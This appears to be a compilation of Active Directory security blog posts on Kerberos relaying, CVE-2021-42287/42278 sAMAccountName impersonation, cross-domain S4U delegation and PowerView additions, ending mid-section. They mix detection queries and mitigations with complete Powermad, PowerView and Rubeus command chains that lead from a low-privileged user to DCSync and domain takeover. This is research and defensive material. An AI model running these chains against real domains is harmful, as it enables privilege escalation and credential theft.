Kerberos relaying was described in detail in James Forshaws blog post β€œUsing Kerberos for Authentication Relay Attacks”. The primary focus of Kerberos relaying is to intercept an AP-REQ and relay it to the service specified within the service principal name (SPN) used to request the service ticket (ST). The biggest discovery within James’ research is that using certain protocols a victim client can be coerced to authenticate to an attacker using Kerberos while allowing an SPN to be specified that differs from the service that the client is connecting to. This means that the client will request a ST for an SPN of the attacker’s choosing, create an AP-REQ containing that ST and send it to the attacker. The attacker can then forward this AP-REQ to the target service, disregard the resulting AP-REP (unless the attacker needs to relay this back to the client for some reason) and at this point establish an authenticated session as the victim client.

While there are other potential ways Kerberos relaying can happen, (ie. like man-in-the-middle (MITM) attacks), the primary focus of this post will be on coercing a client to authenticate to the attacker as the method of receiving the AP-REQ. The process is essentially as follows:

Attacker coerces victim client auth with target service SPN -> client requests ST to SPN specified -> client sends AP-REQ to attacker -> attacker extracts AP-REQ sends to target service -> attacker establishes session as victim client

There are some caveat’s to this process. The first being protections enabled on the target service. As with NTLM relaying, if the target service has signing/sealing or channel binding enforced, relaying Kerberos authentication will not work. The second caveat is the protections supported by the client. With some target protocols, if the client indicates support for certain protections, the server will enable those protections, again making Kerberos relaying not possible without some other bug in the implementation.

Potential Attack Paths with Kerberos Relay

There are several potential attack paths that Kerberos relaying allows for. Many of these were documented by James in his initial blog post. As alluded to previously, there are 2 main considerations when discussing Kerberos relaying attack paths:

  1. The protocol used to trigger the authentication from the victim client
  2. The protocol used by the service the authentication is being relayed to

Trigger Protocol

As discussed, the main requirement for the trigger protocol is the ability for the attacker to specify an arbitrary SPN, or at least a partially attacker controlled SPN, when triggering the authentication. Protocols known to potentially have this requirement are:

  • IPSec and AuthIP
  • MSRPC
  • DCOM
  • HTTP
  • LLMNR
  • MDNS

Service Protocol

Depending on the protections enabled on the server, the following protocols are known to be target service protocols for Kerberos relaying:

  • LDAP/LDAPS
  • HTTP
  • SMB

Potentially many combinations of these protocols could be used as attack paths for Kerberos relaying. This presents many attack paths, for instance, relaying to an LDAP server could allow for modification of LDAP objects or relaying to an AD CS HTTP web enrolment endpoint could allow for requesting an authentication certificate.

Detecting Kerberos Relay

Before diving straight into detections, queries, and indicators of activity for these behaviors we think it is important to touch on what we are looking at for detection and why. It is fairly easy to take a tool that performs some behavior then immediately go look at the logs to see what telemetry exists. This isn’t a terrible approach, it just isn’t the only one and not the one we take.

We (Charlie, Andrew, and Jonny) like to approach this detection piece a little differently by breaking up a tool’s capability, understanding what it is trying to accomplish, understanding the technologies tied to an attack and their capabilities, and identifying what actions (if any) apply to other techniques. We then like to find the core behavior the attack is built on and identify what pieces of that action is or can be controlled by an attacker. This process helps us identify which behaviors are explicitly tied to the attack and which might relate to an action that was performed prior to the attack or after. One thing we don’t want to do is create detection explicitly tied to the tool, but to the attack. We are using the tool as a starting point of understanding the attack and the various variants an attacker may take to accomplish these actions.

That being said, every attack will have a pre, intra, and post action. These actions are extracted during the research process and help us scope what capabilities we are trying to detect. Let us explain.

In order for an attack to be run, an attacker must do something that gives them the ability to perform that action. This could be a number of things, let’s use the following as an example of pre-action activity:

  • Gain access to a domain user
  • Compromise/obtain a foothold on a box
  • Run a LDAP query for reconnaissance
  • Escalate to a local administrator/High IL

You then have the actual attack (intra-action):

  • Kerberoast
  • Dump LSASS
  • Access Token Impersonation

Finally, the attacker is going to do something with whatever output the attack gives them β€” being the post-action:

  • Logs on as user
  • Impersonates user

Here is a visual representation of this:

This allows us to apply a detection layering approach when creating detections for these behaviors because there is going to be something within the pre-action that we can relate to the intra-action, and similarly the intra-action to the post-action. Due to this we can change the diagram up a little bit:

As you can probably tell by now, every post-action leads into a pre-action. It restarts the attack flow. We see this below with Kerberos Relay. One potential post-action is to perform S4U2Self/S4U2Proxy. Kerberos Relay has now become a pre-action to this activity and a post-action could be that an attacker is using that ability to login, talk to the SCM to create a service and run a process as SYSTEM.

If we just run the attack and look directly at the logs it is easy to start making assumptions. So before we run the attack we can break out what we are looking for, then go look for it. This allows us to truly understand what layer we are applying a detection, which inherently will help us understand what level of coverage we have.

We can now apply this to Kerberos Relay in the next section.

Detection Queries

Some of the attacks within the pre/intra/post actions were applied due to how KrbRelayUp was exploiting this activity. The attacker doesn’t always have to take these exact paths and some of the specifics may change, for example β€” below we show a detection for the COM server initialization/TCP connection. An attacker could use a different protocol like HTTP/LDAP. Although we didn’t create queries for each one of these scenarios we wanted to share the different pre/intra/post-action detections someone could create.

Pre-Kerberos Relay Detections:

  • Initial domain user foothold (No detection added as there are so many options)
  • LDAP queries to identify potential SPNs available
  • Computer account added via LDAP (Using Microsoft Defender for Endpoint DeviceEvents)
1
2
3
4
5
DeviceEvents
| where ActionType contains β€œLdapSearch” and (InitiatingProcessParentFileName !has (β€œservices.exe”) or InitiatingProcessAccountName !in (β€œlocal service”, β€œsystem”))
| extend SearchFilter= extractjson(β€œ$.SearchFilter”, AdditionalFields)
| where SearchFilter contains β€œsAMAccountName” and SearchFilter contains β€œ$”
| summarize count() by Timestamp, InitiatingProcessAccountName,InitiatingProcessParentFileName, InitiatingProcessFileName, SearchFilter, InitiatingProcessCommandLine, AdditionalFields, InitiatingProcessLogonId

Note: This query was created via MDE and will look for when a computer account is created via LDAP, for this attack this is totally optional. To perform this specific attack path, the attacker only requires the credentials of any computer object or a user object with an SPN. There are many other ways to potentially obtain one.

  • Computer Account added via Splunk and Window Security Event ID 4741:
1
index=windows sourcetype=Security EventCode=4741 AND SAM_Account_Name = β€œ*$”

Going a step further would be to correlate the 4741 with Windows Security Event ID 4673. As Andrew wrote in his post the event details in 4673 contain the four (4) SPN’s that are also created when a computer account is created with certain attack tools (in their present state as of writing this post). Kevin Robertson first blogged about the 4 SPN’s being generated in his post, β€œMachineAccountQuota is USEFUL Sometimes: Exploiting One of Active Directory’s Oddest Settings.” Many publicly available Open Source Tools (OSTs) incorporate the same 4 SPNs into their tooling.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
index=windows (EventCode=4741 MSADChangedAttributes=*(*HOST/*) AND *(*RestrictedKrbHost/*) New_UAC_Value=0x80) OR (EventCode=4673 Privileges=SeMachineAccountPrivilege) 
| eventstats values(Process_Name),values(Privileges),values(EventCode) as EventCode by Logon_ID 
| search EventCode=4741
| rex field=_raw β€œ(Message=(?<Message>[a-zA-z ].*))” 
| eval datetime=strftime(_time, β€œ%m-%d-%Y %H:%M:%S.%Q”) 
| stats count values(datetime),values(Process_Name),values(Privileges),values(EventCode),values(MSADChangedAttributes),values(Message),values(Account_Domain),values(Security_ID),values(SAM_Account_Name),values(DNS_Host_Name) by Logon_ID 
| search count >=2 
| rename values(*) as * 
| eval Effecting_Account=mvindex(Security_ID,1) 
| eval New_Computer_Account_Name=mvindex(Security_ID,0) 
| table datetime,Account_Domain,Effecting_Account,Logon_ID,New_Computer_Account_Name,DNS_Host_Name,Message,MSADChangedAttributes,Process_Name,Privileges,EventCode

Intra-Kerberos Relay Detections:

  • DCOM Server connection with TCP connection to localhost (Using Splunk and Window Security Event ID 5156):
1
index=windows sourcetype=Security EventCode=5156 Direction=Inbound AND Source_Address=::1 AND Destination_Address=::1 AND Process_ID !=4 AND Protocol=6

Post-Kerberos Relay Detections:

  • RBCD Exploitation (Using Splunk and Window Security Event ID 5136/4768/4769)
1
2
3
4
5
6
7
8
index=windows sourcetype=”Security” ((EventCode=5136 AND β€œmsDS-AllowedToActOnBehalfOfOtherIdentity”) AND (Type=”Value Added” OR Type=”Value Deleted”)) OR EventCode=4768 OR EventCode=4769 
| eval alt_type=mvindex(Type,2) 
| eval datetime=strftime(_time, β€œ%m-%d-%Y %H:%M:%S.%Q”) 
| bucket _time span=11m
| stats dc(EventCode) as eventcodes,values(EventCode),values(datetime),values(LDAP_Display_Name),values(host),values(Account_Domain),values(Client_Address),values(Service_Name),values(Service_ID),values(Ticket_Options),values(Class),values(Ticket_Encryption_Type),values(alt_type) by _time 
| rename values(*) as *
| where eventcodes >=3
| table _time,datetime,host,Account_Domain,Client_Address,Service_Name,Service_ID,Ticket_Options,Ticket_Encryption_Type,Class,LDAP_Display_Name,alt_type,EventCode,eventcodes

It should be noted that this detection query has limitations given its use of bucket _time span. We employed the use of this time feature as there was not an easy way (i.e. by Logon ID) to correlate the three events. The only common variable we discovered between these three different events observed was time, specifically all within a 15 second window. While this query worked in our lab with our specific dataset, we would like to point out that by grouping the events by time in a bucket, events can possibly occur outside the span of the bucket as we don’t know WHEN the event will take place. As such the event could occur in the middle of the bucket or it could be on the β€œedge.” A thank you to Greg Rivas for helping create the above SPL query.

During the writing of this post the author of KrbRelayUp added support for Shadow Credentials, which performs slightly different post-actions than we have specified above. However; it is good to note that Shadow Credentials is still a post-action potential attack that can be leveraged.

Mitigations

  1. Limit MAQ attribute and/or restrict the SeMachineAccountPrivilege to a specific group rather than Authenticated Users
  2. Extended Protection for Authentication (EPA)/Protocol Signing/Sealing and Channel Binding
  3. Disabling mDNS/LLMNR
  4. Require authenticated IPsec/IKEv2
  5. Disabling Disable NTLM

A thank you to James Forshaw for vocalizing some of these mitigations when introducing this attack.

Conclusion

During this write-up we wanted to give a brief explanation of Kerberos Relay, how this can be exploited, and the various levels of detection/prevention that could be applied. Although we didn’t go over every pre/post-exploitation scenario an attacker could take, we wanted to highlight the importance of thinking about attacks from a pre/intra/post-action perspective. This helps us identify the scope of our detections, which will then allow us to identify at what depth we are applying the detection.

We hope this was helpful and a huge thank you to James Forshaw again for his previous work on this.

References

  • https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
  • https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html
  • https://dirkjanm.io/relaying-kerberos-over-dns-with-krbrelayx-and-mitm6/
  • https://github.com/Dec0ne/KrbRelayUp
  • https://github.com/cube0x0/KrbRelay

More sAMAccountName Impersonation

So in my excitement to put out the previous post I forgot something and since then I've thought of another attack path that may come in useful for some people.

For these examples I'm using the internal.user account in the internal.zeroday.lab domain, as shown below:

This is just a generic low privileged user.

Trusts

I did reply to my tweet afterwards, but I thought it'd be best to explain a little more that this works across trusts.

As mentioned in a previous post I did, creating machine accounts across trusts is not only possible but can be incredibly useful. This is another example of that.

A forest trust is configured between the internal.zeroday.lab and external.zeroday.lab forests:

A new machine account (named NewComputer) is created across this trust on the external.zeroday.lab domain:

The SPNs can be cleared from this newly created account:

It's best to get the distinguishedname of the machine account for changing the name:

Lastly, the name can be changed to the same as the domain controller minus the '$':

At this point the attack is exactly the same as the initial example I gave in the original post, ie. request a TGT for EDC1, rename machine account back, perform S4U2self.

User Account

Another example of exploitation involved user account control. 2 more prerequisites are required to perform the attack using a user account, The GenericAll privilege over the user account and access to the account credential. Any user account can be used to perform the attack.

There are several potential ways of obtaining the user account password when you have GenericAll over it, including tageted Kerberoasting from Will Schroeder, Shadow Credentials by Elad Shamir, just resetting the user password and probably more I'm forgetting right now. Point is, I'm not going to go into all of the potential ways you might do this, I'm just going to assume the password has been obtained.

So the user I'm running as (internal.user) has GenericAll over the target user (new.user):

Changing the samaccountname to that of the DC minus the '$' is also possible using PowerView:

The attack from this point is exactly the same as in the original post, I'm not going to duplicate all of that here, you can try it for yourself if you want. Interestingly on patched servers you can rename a user account this way with GenericAll over it, but the S4U2self part fails with KDC_ERR_TGT_REVOKED error due to the new Requestor PAC_INFO_BUFFER being included within the TGT's PAC.

EDIT: Charlie BROMBERG suggested GenericAll isn't actually required and this works with GenericWrite or even WriteProperty on sAMAccountName for changing the samaccountname, but it is important to remember that the ability to request a TGT for this account is required too, so the higher the privileges, the more likely you are to be able to do this.

Conclusion

It is very important that all domain controllers throughout the whole enterprise is patched against these issues due to the impact of exploitation and the ease with which it can be performed.

While more limited, it may still be possible in situations where a machine account cannot be created/controlled or renaming of machine account fails.

CVE-2021-42287/CVE-2021-42278 Weaponisation

So on 9th November 2021, Cliff Fisher tweeted about a bunch of CVE's to do with Active Directory that caught a lot of people's eyes. These included CVE-2021-42278, CVE-2021-42291, CVE-2021-42287 and CVE-2021-42282. The one that caught my eye the most was CVE-2021-42287 as it related to PAC confusion and impersonation of domain controllers, also having just worked on PAC forging with Rubeus 2.0.

This post discusses my quest to figure out how to exploit this issue and some things I discovered along the way.

I just want to highlight that there's no new research here, this issue was discovered by Andrew Bartlett of Catalyst IT. I just found one way to weaponise it, there may well be others in the issues he found.

A Little Digging

So immediately upon seeing Cliff's tweet, Ceri Coburn and I started tryng to figure out how this could be exploited. We (perhaps incorrectly) latched onto the text on Microsofts description of CVE-2021-42287 which seemed to be based around the idea of TGT's being issued without PACs. This led me to modify Rubeus to allow for requesting TGT's without a PAC.

After Ceri debugging the Windows KDC and us digging through the leaked XP source we were convinced that to trigger the codepath we needed to go down (to insert a PAC into a ST when it was requested with a TGT lacking a PAC) required a cross domain S4U2self but was unable to get it to work. The only way we could get a DC to add a PAC when an service ticket (ST) was requested using a TGT without a PAC was by configuring altSecurityIdentities.

This process involves modifying the altSecurityIdentities attribute of an account in a foreign domain to Kerberos:[samaccountname]@[domain] to impersonate that user.

So below you can see a low privileged user (internal.user) of the local doamin (internal.zeroday.lab) has GenericAll over a high privileged user (external.admin) of a different domain (external.zeroday.lab):

As this user we can add ourselves to the altSecurityIdentities attribute as shown below:

Now we can get a TGT from our local DC and request it without a PAC using the new /nopac switch:

This results in an obviously small TGT. We then use that TGT to request a referral to the target domain (external.zeroday.lab) from our local DC:

That referral can then be used to request ST's for services on our target domain (external.zeroday.lab). Here I'm requesting a ST for LDAP/EDC1.external.zeroday.lab the DC's LDAP service:

The size of the ST is very large compared to the previous 2 tickets, this is because (as we'll see) a PAC has been added. As shown in the klist output below, this ST is for the original user internal.user which has no special privileges on either domain:

Using this ST, however, we can DCSync:

So what happened here is the DC has searched for the account in the local database, it hasn't found it so it's then searched to see if any accounts have this account listed in their AltSecurityIdentities attribute, which external.admin does because we added it earlier, and if so, the DC adds a PAC belonging to that account. This can be verified using Rubeus' describe command and the AES256 key we just DCsync'd:

We now effectly have the privileges of the external.admin user on the external.zeroday.lab domain.

This didn't help us exploiting the issue we wanted but I did find it interesting.

Some Progress

Then along came this tweet from ClΓ©ment Notin which actually mentioned the Samba information regarding these issues and led me to CVE-2020-25719 and this patch. What particularly caught my attention was this paragraph:

Delegated administrators with the right to create other user or machine accounts can abuse the race between the time of ticket issue and the time of presentation (back to the AD DC) to impersonate a different account, including a highly privileged account.

Suddenly I realised that to make the local lookup fail, we didn't need to attack a foreign domain but perhaps remove the account after retrieving the TGT.

I started playing with naming a machine account the same as the local DC (minus the $), requesting a TGT (still without a PAC), removing the machine account and using that TGT. I noticed something funny.

When using this PAC-less TGT with a U2U request but without supplying an additional ticket, it was failing to decrypt the resulting ST:

The U2U ST should be encrypted with the session of within the provided TGT but as I didn't provide an additional ticket I assumed it was triyng to lookup the account based on the sname which I was setting to IDC1 the samaccountname of my now missing machine account. I had the idea to try decrypting this ST using the long term key of the domain controller that I was naming my machine account after (IDC1$):

It worked! It sucessfuly decrypted the ST, it just couldn't find the PAC because there wasn't one there. I tried the same thing using S4U2self and got the same result, the DC was looking for my IDC1 account, not finding it and then search for the same but adding a $ on the end, finding the domain controller account and encrypting the ticket using it's key instead.

At that time I still couldn't figure out why it wasn't adding the PAC, so I decided to try requesting the initial TGT with a PAC instead of without a PAC and surprisingly it worked! So apparently there was no need to request a TGT without a PAC, supplying a TGT with a PAC for an account that has the samaccountname of the DC minus the $ to a request for an S4U2self ticket, when the intial account no longer exists, results in the ST being encrypted using the key of the DC.

The sname of that resulting ST can be modified as per Alberto Solino's post here. So it can be used to authenticate against any service on the target box, even users protected from delegation, as Elad Shamir mentions in the Solving a Sensitive Problem section of Wagging the Dog.

The last thing to work out was how can we get a machine account in this state from a low privileged user, as until now I was manually modifying the machine account as an admin. Thankfully Kevin Robertson's amazing post on the Macine Account Quota helped massively. It explains that the creator of the machine account has control over various attributes including the samAccountName and ServicePrincipalName. Another problem I was running into was trying to change the samaccountname, as trying to change it to be the same as the DC minus the $, I was getting the following error:

As Kevin mentions in his post:

If you modify the samAccountName, DnsHostname, or msDS-AdditionalDnsHostName attributes, the SPN list will automatically update with the new values.

So the SPN it was trying to set was already an SPN belonging to the target DC. Ceri suggested removing the SPNs before changing the samaccountname, which worked.

Lastly, until now I was removing the machine account after requesting the TGT (which requires admin privileges), I had to test whether disabling it or renaming it worked too. Disabling it resulted in a S_PRINCIPAL_UNKNOWN error being returned by the DC when requesting the S4U2self but renaming it worked.

Finally all of the pieces were in place.

Checking If Exploitable

To exploit this requires 3 things, at least 1 DC not patched with either KB5008380 or KB5008602, any valid domain user account and a Machine Account Quota (MAQ) above 0.

To determine if a DC is patched is very easy. Using my additional /nopac switch to Rubeus' asktgt, request a TGT without a PAC, if the DC is vulnerable it'll look like the following:

Look at the size of the returned TGT. If the DC is not vulnerable the TGT will look as follows:

The size difference is immediately obvious. The next thing to check would be the MAQ:

By default it is 10 as above but can be changed, anything above 0 will do. Lastly we need to check the SeMachineAccountPrivilege which is granted to Authenticated Users by default:

If everything checks out, we can exploit this issue.

The Full Attack

The first step is to create a machine account we can use for the attack (The account I create is called TestSPN$). Kevin's Powermad works nicely for this:

After this, PowerView's Set-DomainObject can be used to clear the SPNs from the machine account:

Changing the machine account's samaccountname can be done using Powermad's Set-MachineAccountAttribute (Here I'm changing it to IDC1, because the DC's samaccountname is IDC1$):

Rubeus' asktgt can be leveraged to request a TGT for that newly created machine account (This is just a normal TGT for the machine we just created but using it's new samaccontname):

Set-MachineAccountAttribute can again be used to change the machine accounts samaccountname (either back to what it was or something else entirely, it doesn't matter):

With the machine account renamed, it is now possible to request an S4U2self ticket using the retrieved TGT and get an ST encrypted with the DC's key, at the same time we can rewrite the sname within the ticket to be the LDAP service:

Here, I've impersonated the Administrator user for the LDAP service on the DC. It's worth noting that this could be any user on any service on any system on the domain.

The ticket has been sucessfully injected into LSA as shown below:

Using that ticket it is now possible to DCSync:

The commands I run to do this are shown below:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Create Machine Account
New-MachineAccount -MachineAccount TestSPN -Domain internal.zeroday.lab -DomainController idc1.internal.zeroday.lab -Verbose

# Clear SPNs
Set-DomainObject "CN=TestSPN,CN=Computers,DC=internal,DC=zeroday,DC=lab" -Clear 'serviceprincipalname' -Verbose

# Change Machine Account samaccountname
Set-MachineAccountAttribute -MachineAccount TestSPN -Value "IDC1" -Attribute samaccountname -Verbose

# Request TGT
.\Rubeus.exe asktgt /user:IDC1 /password:Password1 /domain:internal.zeroday.lab /dc:idc1.internal.zeroday.lab /nowrap

# Change Machine Account samaccountname
Set-MachineAccountAttribute -MachineAccount TestSPN -Value "TestSPN" -Attribute samaccountname -Verbose

# Request S4U2self
.\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:idc1.internal.zeroday.lab /self /altservice:LDAP/IDC1.internal.zeroday.lab /ptt /ticket:[TGT]

Mitigation / Detection

The best way to mitigate against this is to install the Microsoft patch (KB5008602), this patch fixes the issue with PAC confusion as well as fixes this issue with S4U2self created by the earlier KB5008380 patch.

Setting the Machine Account Quota to 0 is a quick and easy fix for stopping low privileged user from being able to create machine accounts, another related fix is to remove Authenticated Users from the SeMachineAccountPrivilege and adding Domain Admins or another group of allowed accounts.

There are several Events caused by various steps which would be useful for determining attempts to perform this attack. The credit for determining these Events should go entirely to Andrew Schwartz, I simply sent my logs to him after I performed the attack.

Machine Account Creation

Firstly, there is a 5156 event of an inbound connection to LDAP to create the machine account, For this event ID Andrew leveraged the research of β€œA Voyage to Uncovering Telemetry: Identifying RPC Telemetry for Detection Engineers” By: Jonathan Johnson:

Immediately followed by a 4673 event, which is the usage of the SeMachineAccountPrivilege:

As well as a 4741 event, describing the creation of the machine account:

And a 4724 event, regarding the password reset of the newly create machine account:

Clearing The SPNs

Next a 4742 event can be seen when the SPNs are removed from the machine account, this will show for the Service Principal Names field, as shown below:

Changing the SamAccountName

A 4742 event will also show when the SAM Account Name is changed, and the new name will be shown in the SAM Account Name field:

More interestingly, a 4781 event will show both the old account name and the new account name:

Get TGT

When retrieving the TGT, a 4768 event will show, interestingly the Account Name field will show the new name of the account, while the User ID field will show the old name:

Then the account name change happens again with the 2 events mentioned above.

S4U2self

Lastly, as Elad mentions in his Wagging the Dog post, event 4769 fires, this time, however, some discrepancy is shown between Account Name and Service Name, while the Service Name field has the proper machine account name, the Account Name is missing the trailing dollar ($):

Conclusion

With the November 9th updates, many changes were made to AD and I wouldn't be surprised if many other avenues existed using those issues but the one I use directly from a low privileged user to full domain takeover with a default configuration.

Ensuring all DC's are fully patched should be the main priority here as it will only take 1 unpatched DC for domain takeover to be possible.

On top of patching, proper AD hardening with decent monitoring will always minimise the impact of any compromise significantly.

Another Delegation Edge Case

While coding the cross domain S4U into Rubeus I only really considered the situation where the user that was to be impersonated was in the target/foreign domain, but not if the user was in the source/local domain. After looking at how the process of requesting delegation worked when impersonating a user on the local domain, I decided to write this post detailing how it works and when it might be useful.

The information in this post is reasonably complex and I won't be going over previous work on how S4U works, the best places to see this is probably the Microsoft Documentation and Elad Shamir's post. It might also be helpful to check out my original post on cross domain S4U if you haven't already.

So let's get to it.

The Standard Process

I've created a diagram for showing how these tickets are requested when the OS performs this type of delegation:

This can understandably look a little intimidating, so let's break it down:

  1. The service account gets its standard TGT from the local DC, this is nothing interesting and included for the sake of completion. (1 and 2)

  2. The account connects to the service accounts SPN using a standard service ticket, which is forwardable. (3)

  3. The service account uses its TGT to request a referral TGT from the local DC for the foreign domain where the end service resides (krbtgt/Domain2). (4 and 5)

  4. The service account uses its TGT, with the standard service ticket (provided by the connecting account) as an additional ticket, to request a service ticket for the end service SPN from the local DC. This results in what I'm calling a delegated referral TGT for the foreign domain being issued by the local DC. (6 and 7)

  5. The service account uses its referral TGT to request a service ticket for itself for the end service from the foreign DC. (8 and 9)

  6. The service account finally requests the delegated service ticket for the end service as the connecting user account from the foreign DC using the service accounts referral TGT and the delegated referral TGT (obtained in step 4 in this list or 6 and 7 in the image) as an additional ticket. (10 and 11)

From this we can determine that the main thing that is required to impersonate a local account on a service on a foreign domain is a forwardable service ticket from that account.

With this in mind, I decided to try to find a scenario this might be useful in.

The Situation

The following diagram shows the relevant part of the lab setup for this demonstration:

The position we are currently in is we have compromised the low privileged user child.user in the child domain child1.internal.zeroday.lab.

For the sake of simplicity, this user has an SPN set:

There are many ways to obtain an account with an SPN, including creating a machine account, compromising an account with an SPN, adding an SPN to an account you have Write privileges on. The other important thing here is that the user child.user has GenericWrite privileges on the machine account ISQL1 on the parent domain (internal.zeroday.lab):

The last thing to note here is the machine account quota for the parent domain (internal.zeroday.lab) is set to 0:

So there's no creating machine accounts to hop across the trust, as I demonstrated in a previous blog post.

Gaining Access to ISQL1

Due to having GenericWrite privileges on ISQL1 it is possible to configure resource-based constrained delegation (RBCD) to allow ourselves the ability to delegate to it:

At this point child1.internal.zeroday.lab\child.user can delegate to internal.zeroday.lab\ISQL1$.

The first thing we might try is to delegate to an administrative user on the foreign domain (internal.zeroday.lab), internal.admin is a member of the Domain Admins group so might be a good option. Using the Rubeus additions I did here I can try the following command to impersonate internal.admin:

1
Rubeus.exe s4u /user:child.user /rc4:C4B0E1B10C7CE2C4723B4E2407EF81A2 /domain:child1.internal.zeroday.lab /dc:ic1dc1.child1.internal.zeroday.lab /impersonateuser:internal.admin /targetdomain:internal.zeroday.lab /targetdc:idc1.internal.zeroday.lab /msdsspn:CIFS/ISQL1.internal.zeroday.lab /nowrap

This results in a KDC_ERR_BADOPTION error, as shown below:

We can see the reason for this by looking at the S4U2Self ticket returned by the local DC (IC1DC1.child1.internal.zeroday.lab) with Rubeus' describe command:

This ticket does not have the forwardable flag set, meaning it can't be used to perform the S4U2Proxy extension. Looking at the user internal.admin we can see that it is protected from delegation:

So the question becomes, what can we do if all users in the foreign domain with the desired privileges on the target system are protected from delegation? Well, there are several potential attack paths but the one we're going to focus on here is impersonating a user in the local domain that has administrative privileges on the target system. Again for simplicity sake, I've just added a user (child1.internal.zeroday.lab\sql.admin) to the local Administrators group on ISQL1:

With what we know about the process of obtaining a service ticket for child1.internal.zeroday.lab\sql.admin to internal.zeroday.lab\ISQL1, all we require is a forwardable service ticket to our account (child1.internal.zeroday.lab\child.user). Using a trick Elad mentions in the A Forwardable Result section of his Wagging the Dog post, all service tickets produced by S4U2Proxy is always forwardable.

This means that providing the user sql.admin can be delegated (shown below), we can obtain a forwardable service ticket using RBCD.

So configuring RBCD on ourselves (child.user) so we can delegate to ourselves:

The following Rubeus command was used to retrieve a forwardable service ticket as the user sql.admin for the SPN blah/foobar (just a junk one for demonstration purposes) which belongs to the account child.user:

1
Rubeus.exe s4u /user:child.user /rc4:C4B0E1B10C7CE2C4723B4E2407EF81A2 /domain:child1.internal.zeroday.lab /dc:ic1dc1.child1.internal.zeroday.lab /impersonateuser:sql.admin /msdsspn:blah/foobar /nowrap

Using Rubeus' describe command shows that this ticket is forwardable:

Now everything is in place to gain access to the remote system ISQL1. The following requests is the process in full described earlier to obtain the desired delegated service ticket for CIFS/ISQL1.internal.zeroday.lab as the user child1.internal.zeroday.lab, with any requests not required omitted. Each request, except gaining the TGT initially, are made manually using the asktgs Rubeus command.

Firstly the TGT for the service account (child.user) is required:

We already have the forwardable service ticket to child.user, so we don't need to worry about that. Next we have to obtain a referral TGT as the service account (child.user) for the foreign domain (internal.zeroday.lab), for this we only require the TGT just obtained. We can use the following command for that:

1
Rubeus.exe asktgs /service:krbtgt/internal.zeroday.lab /dc:ic1dc1.child1.internal.zeroday.lab /nowrap /ticket:doIFq...(snip)...

The last thing we require from the local DC is the delegated referral TGT, to get this I made another PR to Rubeus which allows for including additional tickets when using asktgs by providing the /tgs:X argument. Using the following command and including the primary TGT for the service account (child.user) as the /ticket:X argument and the forwardable service ticket as the /tgs:X argument, it is possible to request this delegated referral TGT:

1
Rubeus.exe asktgs /service:CIFS/ISQL1.internal.zeroday.lab /nowrap /dc:ic1dc1.child1.internal.zeroday.lab /ticket:doIFqjCCB...(snip)... /tgs:doIGPDCCB...(snip)...

We can skip requesting a service ticket for the end service using only the referral TGT for child.user as we won't be using that ticket. The last thing we need to do it request the final service ticket for CIFS/ISQL1.internal.zeroday.lab from the DC for the domain internal.zeroday.lab (IDC1.internal.zeroday.lab), this is the ticket we can use to impersonate sql.admin on the target service. To do this we use a similar command to the one we just run, except instead of the TGT and fowardable service ticket, we use the referral TGT and delegated referral TGT, and instead of the local DC we request it from the foreign DC, you also have to pass Rubeus the /usesvcdomain switch because cross-domain stuff is hard:

1
Rubeus.exe asktgs /service:CIFS/ISQL1.internal.zeroday.lab /nowrap /dc:idc1.internal.zeroday.lab /usesvcdomain /ticket:doIFpjCCB...(snip)... /tgs:doIHJjCCB...(snip)...

And finally we get the service ticket we're after:

Using this ticket gives as access to the CIFS service on the target ISQL1:

Conclusion

While this attack path is probably not normally required, due to other easier attack paths being likely possible, it does show that unsual edge cases exist that could allow for privilege escalation within a domain or even across domain trusts. Defenders should therefore ensure that they are fully aware of the configuration of their whole enterprise and the implications any of those configurations could have on the security of the infrastructure as a whole.

PowerView - A New Hope

I'd been wanting to add some features to PowerView for a while, it's arguably the tool I use most on infrastructure assessments, and when @harmj0y officially discontinued PowerSploit I decided to fork it and start adding them.

For anyone that doesn't know, PowerView is an amazing tool written in PowerShell that can be used for playing with Active Directory and particually performing recon of Active Directory.

This post is about some new features I've added to it. My forked version can be found here.

RBCD Support

Until now dealing with RBCD (or the msds-allowedtoactonbehalfofotheridentity attribute) using PowerView was a manual process. Using Security.AccessControl.RawSecurityDescriptor with an security descriptor definition language (SDDL) string as an argument and manually converting it, as documented here and here.

I wanted to automate this so I created the Get-DomainRBCD and Set-DomainRBCD functions.

Get-DomainRBCD

Get-DomainRBCD by default finds all accounts, user and computer, that have the msds-allowedtoactonbehalfofotheridentity. It returns a custom PS object where the SID's have been resolved if possible. If identities are specified then only the RBCD configuration of those identities are returned:

It also tells you whether the account (either source account or account that's been granted delegation rights) is a user or machine account. This is useful to know because only 1 type of account can be configured on the msds-allowedtoactonbehalfofotheridentity security descriptor at once. So either all computer accounts or all user accounts, but a mixture of the 2.

Set-DomainRBCD

To compliment Get-DomainRBCD, I created Set-DomainRBCD, which can be used to configured RBCD on an account.

The Identity parameter is the account(s) where RBCD is to be configured, it can be done on multiple accounts at once and works the same way as in the other PowerView functions, like Get-DomainUser. The DelegateFrom parameter is a pipe ('|') delimited list of identities to delegate access to. The argument to DelegateFrom can be any format also supported by the Identity parameter:

Configuring RBCD the same as in the previous screenshot can be done like this:

Here, I configure RBCD on the computer account ISQL1 and delegate access to ISQL1 and ISQL2. This results in the same configured shown previously:

Finally, it is possible to easily remove this configuration using the -Clear switch to Set-DomainRBCD:

This makes dealing with RBCD using only PowerView much easier.

Ownership

A small addition to the Get-DomainUser function in PowerView was the -Owner switch. With this switch it return 2 extra object members, OwnerSID and OwnerName:

As shown here, the owner of the testsd user has the SID of S-1-5-21-2042794111-3163024120-2630140754-512 and the SamAccountName of Domain Admins. This is important for the next section.

Security Descriptors

While coding Set-DomainRBCD I realised that the msds-allowedtoactonbehalfofotheridentity attribute is just a security descriptor (SD) and it reminded me of a conversation I had in the BloodHound slack regarding the AdminCount attribute.

As discussed here members of protected groups have their AdminCount attribute set to 1 by the SD Propagator (SDProp). At the same time the security descriptor (SD) from AdminSDHolder gets applied, which is basically a hardened SD for protected objects. The problem here is that when the object is removed from having protected status, the AdminCount attribute value as well as the hardened SD remains.

It is often required to escalate accounts during assessments to perform certain attack paths, but it is always best to leave the client infrastructure in as similar state as before the assessment. So a method of viewing and restoring object SD's was required.

Enter Get-DomainObjectSD and Set-DomainObjectSD.

Get-DomainObjectSD

